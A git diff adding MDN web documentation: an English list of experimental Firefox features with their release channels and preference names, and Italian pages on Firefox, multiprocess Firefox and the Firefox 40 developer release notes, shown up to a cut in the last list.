+<p>The following experimental features include those found in the <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a>, the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>, the <a href="/en-US/docs/Web/API/Media_Session_API">Media Session API</a>, the <a href="/en-US/docs/Web/API/Media_Source_Extensions_API">Media Source Extensions API</a>, the <a href="/en-US/docs/Web/API/Encrypted_Media_Extensions_API">Encrypted Media Extensions API</a>, and the <a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>.</p>
+
+<h4 id="Media_Session_API">Media Session API</h4>
+
+<p>The entire Firefox implementation of the Media Session API is currently experimental. This API is used to customize the handling of media-related notifications, to manage events and data useful for presenting a user interface for managing media playback, and to obtain media file metadata. See {{bug(1112032)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>71</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>71</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>71</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>71</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>dom.media.mediasession.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Asynchronous_SourceBuffer_add_and_remove">Asynchronous SourceBuffer add and remove</h4>
+
+<p>This adds the promise-based methods {{domxref("SourceBuffer.appendBufferAsync", "appendBufferAsync()")}} and {{domxref("SourceBuffer.removeAsync", "removeAsync()")}} for adding and removing media source buffers to the {{domxref("SourceBuffer")}} interface. See {{bug(1280613)}} and {{bug(778617)}} for more information.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>62</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>62</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>62</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>62</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>media.mediasource.experimental.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="AVIF_AV1_Image_File_format_support">AVIF (AV1 Image File format) support</h4>
+
+<p>With this feature enabled, Firefox supports the AV1 Image File (AVIF) format. This is a still image file format that leverages the capabilities of the AV1 video compression algorithms to reduce image size. See {{bug(1443863)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>image.avif.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Security_and_privacy">Security and privacy</h2>
+
+<h4 id="Block_plain_text_requests_from_Flash_on_encrypted_pages">Block plain text requests from Flash on encrypted pages</h4>
+
+<p>In order to help mitigate man-in-the-middle (MitM) attacks caused by Flash content on encrypted pages, a preference has been added to treat <code>OBJECT_SUBREQUEST</code>s as active content. See {{bug(1190623)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>59</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>59</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>59</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>59</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>security.mixed_content.block_object_subrequest</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Insecure_page_labeling">Insecure page labeling</h4>
+
+<p>These two preferences add a "Not secure" text label in the address bar next to the traditional lock icon when a page is loaded insecurely (that is, using {{Glossary("HTTP")}} rather than {{Glossary("HTTPS")}}). See {{bug(1335970)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>60</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>60</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>60</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>60</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>security.insecure_connection_text.enabled</code> for normal browsing mode; <code>security.insecure_connection_text.pbmode.enabled</code> for private browsing mode</th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Upgrading_mixed_display_content">Upgrading mixed display content</h4>
+
+<p>When enabled, this preference causes Firefox to automatically upgrade requests for media content from HTTP to HTTPS on secure pages. The intent is to prevent mixed-content conditions in which some content is loaded securely while other content is insecure. If the upgrade fails (because the media's host doesn't support HTTPS), the media is not loaded. See {{bug(1435733)}} for more details.</p>
+
+<p>This also changes the console warning; if the upgrade succeeds, the message indicates that the request was upgraded, instead of showing a warning.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>60</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>60</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>60</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>60</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>security.mixed_content.upgrade_display_content</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Implicit_relnoopener_on_links_with_target_blank">Implicit rel="noopener" on links with target="_blank"</h4>
+
+<p>Following Safari's lead, this experiment causes setting the {{htmlattrxref("target", "a")}} attribute on an {{HTMLElement("a")}} element to <code>_blank</code> (that is, using <code>target="_blank"</code>) to imply that the default value of {{htmlattrxref("rel", "a")}} is <code>noopener</code> rather than <code>opener</code>, which is the usual default. To bypass this security measure, web developers should explicitly request an opener relationship using <code>rel="opener"</code> on their <code>&lt;a&gt;</code> elements that use <code>target="_blank"</code> to open the link into a new window or tab. See {{bug(1503681)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>65</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>65</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>65</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>65</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>dom.targetBlankNoOpener.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="FTP_support_disabled">FTP support disabled</h4>
+
+<p>For security reasons, Mozilla intends to remove support for {{Glossary("FTP")}} from Firefox in 2010, effective in Firefox 82. See {{bug(1622409)}} for implementation progress. The <code>network.ftp.enabled</code> preference must be enabled (set to <code>true</code>) to allow FTP to be used.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>77</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>network.ftp.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Developer_tools">Developer tools</h2>
+
+<p>Mozilla's developer tools are constantly evolving. We experiment with new ideas, add new features, and test them on the Nightly and Developer Edition channels before letting them go through to beta and release. The features below are the current crop of experimental developer tool features.</p>
+
+<h4 id="Color_scheme_simulation">Color scheme simulation</h4>
+
+<p>Adds an option to simulate different color schemes allowing to test {{cssxref("@media/prefers-color-scheme", "@prefers-color-scheme")}} media queries. Using this media query lets your style sheet specify whether it prefers a light or dark user interface. This feature lets you test your code without having to change settings in your browser (or operating system, if the browser follows a system-wide color scheme setting).</p>
+
+<p>See {{bug(1550804)}} and {{bug(1137699)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>72</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>72</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>72</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>72</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>devtools.inspector.color-scheme-simulation.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Execution_context_selector">Execution context selector</h4>
+
+<p>This feature displays a button on the console's command line that lets you change the context in which the expression you enter will be executed. See {{bug(1605154)}} and {{bug(1605153)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>devtools.webconsole.input.context</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Mobile_gesture_support_in_Responsive_Design_Mode">Mobile gesture support in Responsive Design Mode</h4>
+
+<p>Mouse gestures are used to simulate mobile gestures like swiping/scrolling, double-tap and pinch-zooming and long-press to select/open the context menu. See {{bug(1621781)}}, {{bug(1245183)}}, and {{bug(1401304)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>76<sup>[1]</sup></td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>76<sup>[1]</sup></td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>76<sup>[1]</sup></td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>76<sup>[1]</sup></td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2">n/a</th>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Support for zooming using the double-tap gesture was added in Firefox 76. The other gestures were added for Firefox 79.</p>
+
+<h4 id="Compatibility_panel">Compatibility panel</h4>
+
+<p>A side panel for the Page Inspector that shows you information detailing your app's cross-browser compatibility status. See {{bug(1584464)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>71</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>71</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>71</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>71</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>devtools.inspector.compatibility.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="UI">UI</h2>
+
+<h4 id="Desktop_zooming">Desktop zooming</h4>
+
+<p>This feature lets you enable smooth pinch zooming on desktop computers without requiring layout reflows, just like mobile devices do. See {{bug(1245183)}} for further details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>42</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>42</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>42</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>42</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>apz.allow_zooming</code> and (on Windows) <code>apz.windows.use_direct_manipulation</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox/Releases">Firefox developer release notes</a></li>
+ <li><a href="https://nightly.mozilla.org/">Firefox Nightly</a></li>
+ <li><a href="https://www.mozilla.org/en-US/firefox/developer/">Firefox Developer Edition</a></li>
+</ul>
diff --git a/files/it/mozilla/firefox/index.html b/files/it/mozilla/firefox/index.html
new file mode 100644
index 0000000000..c49c144593
--- /dev/null
+++ b/files/it/mozilla/firefox/index.html
@@ -0,0 +1,52 @@
+---
+title: Firefox
+slug: Mozilla/Firefox
+tags:
+  - Firefox
+  - Mozilla
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Firefox
+---
+<div>{{FirefoxSidebar}}</div>
+
+<div class="boxed translate-display">
+<p><a href="https://www.mozilla.org/firefox/">Firefox</a> è il popolare browser web di Mozilla, disponibile per varie piattaforme, tra cui Windows, Mac OS X, e Linux sul desktop, Android e altri dispositivi mobile. Con la sua ampia compatibilità, le ultime novità nelle tecnologie web e i potenti strumenti di sviluppo, Firefox è una scelta fantastica sia per gli sviluppatori web che per gli utenti.</p>
+
+<p>Firefox è un progetto open source; la maggior parte del codice è stata scritta dalla nostra enorme comunità di volontari. In questo documento è possibile imparare come contribuire al progetto Firefox e anche trovare link alle informazioni riguardanti lo sviluppo di componenti aggiuntivi per Firefox, utilizzare gli strumenti di sviluppo e altro ancora.</p>
+
+<div class="summary">
+<p>Impara a creare componenti aggiuntivi per <a href="http://www.mozilla.org/firefox/">Firefox</a>, sviluppare e compilare Firefox stesso e come funzionano le parti interne di Firefox e dei suoi sottoprogetti.</p>
+</div>
+
+<ul class="card-grid">
+ <li><span>Note di rilascio per gli sviluppatori</span>
+
+  <p><a href="https://developer.mozilla.org/it/Firefox/Releases">Note di rilascio focalizzate sugli sviluppatori</a>; scopri quali nuove capacità vengono incluse in ogni versione di Firefox, sia per lo sviluppo di siti web che per i componenti aggiuntivi.</p>
+ </li>
+ <li><span>Documentazione del progetto</span>
+  <p>Ottieni informazioni dettagliate riguardo <a href="https://developer.mozilla.org/it/docs/Mozilla">il funzionamento interno di Firefox</a> e il suo sistema di compilazione, per aiutarti a trovare ciò che cerchi nel codice.</p>
+ </li>
+ <li><span>Guida per gli sviluppatori</span>
+  <p>La nostra <a href="https://developer.mozilla.org/it/docs/Developer_Guide">guida per gli sviluppatori</a> fornisce i dettagli riguardanti il come ottenere e compilare i sorgenti di Firefox, come orientarsi e come contribuire al progetto.</p>
+ </li>
+</ul>
+
+<p>Firefox è disponibile su quattro <strong>canali</strong>. Il canale release è adatto all'uso quotidiano; è la versione fornita e usata dalle persone di tutto il mondo. Gli altri canali vengono utilizzati dai tester, dai pionieri e dai veri entusiasti.</p>
+
+<ul class="card-grid">
+ <li class="download-box"><span>Firefox Nightly</span>
+
+  <p>Compilazioni notturne solo per scopi di test.</p>
+  <a class="download-button external ignore-external" href="https://nightly.mozilla.org/" rel="noopener">Scarica Nightly</a></li>
+ <li class="download-box"><span>Firefox Aurora</span>
+  <p>Le ultime innovazioni in un ambiente sperimentale.</p>
+  <a class="download-button external ignore-external" href="https://www.mozilla.org/firefox/channel/#aurora" rel="noopener">Scarica Aurora</a></li>
+ <li class="download-box"><span>Firefox Beta</span>
+  <p>Le ultime novità in un ambiente più stabile.</p>
+  <a class="download-button external ignore-external" href="https://www.mozilla.org/firefox/channel/#beta" rel="noopener">Scarica Beta</a></li>
+ <li class="download-box"><span>Firefox</span>
+  <p>Provato, testato e usato da milioni di utenti in tutto il mondo.</p>
+  <a class="download-button external ignore-external" href="https://www.mozilla.org/firefox/channel/#firefox" rel="noopener">Scarica Firefox</a></li>
+</ul>
+</div>
diff --git a/files/it/mozilla/firefox/multiprocess_firefox/index.html b/files/it/mozilla/firefox/multiprocess_firefox/index.html
new file mode 100644
index 0000000000..316b048c8c
--- /dev/null
+++ b/files/it/mozilla/firefox/multiprocess_firefox/index.html
@@ -0,0 +1,73 @@
+---
+title: Multiprocess Firefox
+slug: Mozilla/Firefox/Multiprocess_Firefox
+translation_of: Mozilla/Firefox/Multiprocess_Firefox
+---
+<div>{{FirefoxSidebar}}</div><p>Nelle attuali versioni di Firefox Desktop, l'intero browser gira in un singolo processo del sistema operativo. In particolare, JavaScript che avvia la UI del browser (conosciuta anche come "codice chrome") gira nello stesso processo così come nelle pagine web (meglio conosciute come "contenuto" o "contenuto web").<br>
+ <br>
+ Le future versioni di Firefox avvieranno la UI del browser in un processo separato dal contenuto web. Nella iniziale iterazione di questa architettura tutte le schede del browser funzioneranno nello stesso processo, e la UI del browser girerà in un processo differente. Nelle prossime iterazioni, ci aspettiamo di avere più di un unico processo di contenuti. Il progetto di Firefox multiprocesso che stiamo consegnando è chiamato Electrolysis, a volte abbreviato in e10s.</p>
+
+<p>Le normali pagine web non sono influenzate da Firefox multiprocesso. Lo staff che sta lavorando a Firefox stesso e gli sviluppatori di Firefox add-on saranno influenzati se il loro i loro rilasci di codice potranno aver accesso diretto al contenuto web.</p>
+
+<p>Anziché accedere direttamente al contenuto, JavaScript di chrome dovrà usare il <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox/The_message_manager">message manager</a> per accedere al contenuto. Per rendere più semplice la transizione abbiamo implementato il <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">Cross Process Object Wrappers</a> e alcuni <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox/Limitations_of_chrome_scripts#Compatibility_shims">integratori di compatibilità per sviluppatori di add-on</a>. Se sei uno sviluppatore di add-on che si sta chiedendo se ne sei influenzato, vedi la <a href="https://developer.mozilla.org/en-US/Add-ons/Working_with_multiprocess_Firefox">guida per operare con Firefox multiprocesso</a>.</p>
+
+<p>Firefox Multiprocesso è attualmente abilitato di default nelle builds di <a class="external-icon external" href="https://nightly.mozilla.org/">Nightly</a>.</p>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Technical_overview">Technical overview</a></dt>
+ <dd>A very high-level view of how multiprocess Firefox is implemented.</dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Glossary">Glossary</a></dt>
+ <dd>A reference for the jargon used in multiprocess Firefox.</dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">The message manager</a></dt>
+ <dd>How to communicate between chrome and content.</dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Message_Manager_Interfaces">Message Manager interfaces</a></dt>
+ <dd>Includes links to the API reference for the message manager interfaces.</dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Frame_script_environment">Frame script environment</a></dt>
+ <dd>The environment frame scripts run in, and especially how it differs from the environment for chrome code.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Motivation">Motivation</a></dt>
+ <dd>Why we're implementing multiprocess Firefox: performance, security, and stability.</dd>
+ <dt><a href="/en-US/Add-ons/Working_with_multiprocess_Firefox">Add-on migration guide</a></dt>
+ <dd>If you're an add-on developer, find out if you're affected and how to update your code.</dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">Cross Process Object Wrappers</a></dt>
+ <dd>Cross Process Object Wrappers are a migration aid, giving chrome code synchronous access to content.</dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Debugging_frame_scripts">Debugging frame scripts</a></dt>
+ <dd>Using the Browser Content Toolbox to debug frame scripts.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Limitations_of_chrome_scripts">Limitations of chrome scripts</a></dt>
+ <dd>Practices that will no longer work in chrome code, and how to fix them.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Limitations_of_frame_scripts">Limitations of frame scripts</a></dt>
+ <dd>Practices that will not work inside frame scripts, and what to do instead.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Contact_us">Contact us</h2>
+
+<p>Find out more about the project, get involved, or ask us your questions.</p>
+
+<ul>
+ <li><strong>Electrolysis project page</strong>: <a href="https://wiki.mozilla.org/Electrolysis">https://wiki.mozilla.org/Electrolysis</a></li>
+ <li><strong>IRC</strong>: #e10s on <a href="https://wiki.mozilla.org/IRC">irc.mozilla.org</a></li>
+ <li><strong>Mailing list</strong>: <a href="https://groups.google.com/forum/#!forum/mozilla.dev.tech.electrolysis">dev.tech.electrolysis</a></li>
+</ul>
diff --git a/files/it/mozilla/firefox/releases/40/index.html b/files/it/mozilla/firefox/releases/40/index.html
new file mode 100644
index 0000000000..0b57ccb6ba
--- /dev/null
+++ b/files/it/mozilla/firefox/releases/40/index.html
@@ -0,0 +1,117 @@
+---
+title: Firefox 40 per sviluppatori
+slug: Mozilla/Firefox/Releases/40
+tags:
+  - Firefox
+  - Rilasci
+translation_of: Mozilla/Firefox/Releases/40
+---
+<div>{{FirefoxSidebar}}</div><div class="column-container zone-callout"><a href="https://nightly.mozilla.org/" style="float: right; margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Installa Firefox Nightly</a></div>
+
+<h2 id="Novità_per_Sviluppatori_Web">Novità per Sviluppatori Web</h2>
+
+<h3 id="Strumenti_per_sviluppatore">Strumenti per sviluppatore</h3>
+
+<ul>
+ <li>I messaggi {{domxref("Console")}} API da {{domxref("SharedWorker")}} o {{domxref("ServiceWorker")}} adesso vengono mostrati nella console web ({{bug(1125205)}}).</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>Le regole prefissate (<code>-moz-</code>) per {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, e {{cssxref("text-decoration-style")}} sono state rimosse ({{bug(1097922)}}).</li>
+ <li>La proprietà {{cssxref("text-align")}} adesso supporta il valore <code>match-parent</code> ({{bug(645642)}}).</li>
+ <li>Nella modalità Quirks, il valore predefinito per {{cssxref("empty-cells")}} adesso è <code>show</code>, come nella modalità standard ({{bug(1020400)}}).</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<p><em>Nessuna novità.</em></p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>Il codice illegibile dopo la dichiarazione {{jsxref("Statements/return", "return")}} (inclusa l'espressione illegibile dopo {{jsxref("Statements/return", "semicolon-less return statements", "#Automatic_semicolon_insertion", 1)}}) adesso mostreranno un avvertimento nella console ({{bug(1005110)}}, {{bug(1151931)}}).</li>
+ <li>{{jsxref("Symbol.match")}} è stato aggiunto ({{bug(1054755)}}).</li>
+ <li>Passando un oggetto che ha una proprietà chiamata {jsxref("Symbol.match")}} con un valore {{Glossary("truthy")}} verso {{jsxref("String.prototype.startsWith")}}, {{jsxref("String.prototype.endsWith")}}, e {{jsxref("String.prototype.contains")}} adesso attiva un {{jsxref("TypeError")}} ({{bug(1054755)}}).</li>
+ <li>La funzione {{jsxref("RegExp")}} richiama uno schema a sé, se chiamato senza {{jsxref("Operators/new", "new")}} e l'oggetto dello schema ha una proprietà chiamata {{jsxref("Symbol.match")}} con un valore {{Glossary("truthy")}}, e la proprietà <code>constructor </code>dell'oggetto dello schema è uguale a lla funzione {{jsxref("RegExp")}}. ({{bug(1147817)}}).</li>
+ <li>Il supporto per il non-standard for-in destrutturante JS1.7 è stato abbandonato ({{bug(1083498)}}).</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in#Firefox-specific_notes">L'inizializzatore di espressioni non-standard </a>è stato rimosso dai cicli <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> ({{bug(748550)}}).</li>
+ <li>\u{xxxxxx} unicode codepoint in {{jsxref("Global_Objects/String", "string literals", "", 1)}} è stato aggiunto ({{bug(320500)}}).</li>
+ <li>{{jsxref("String.prototype.includes", "String.prototype.contains", "#String.prototype.contains")}} è stato sostituito con {{jsxref("String.prototype.includes")}}, <code>String.prototype.contains</code> è mantenuto come alias ({{bug(1102219)}}).</li>
+</ul>
+
+<h3 id="InterfacceAPIsDOM">Interfacce/APIs/DOM</h3>
+
+<ul>
+ <li>Il CSS Font Loading API ora è abilitato di default nelle versioni Nightly e Developer Edition ({{bug(1088437)}}). E' ancora disattivato di default nella Beta e Release browsers.</li>
+ <li>Miglioramento nella nostra implementazione sperimentale di Web Animations: {{domxref("AnimationPlayer.currentTime")}} ora può anche essere impostato ({{bug(1072037)}}).</li>
+ <li>WebRTC: il {{event("negotiationneeded")}} adesso è anche inviato per negoziazioni iniziali, non solamente per ri-negoziazioni ({{bug(1149838)}}).</li>
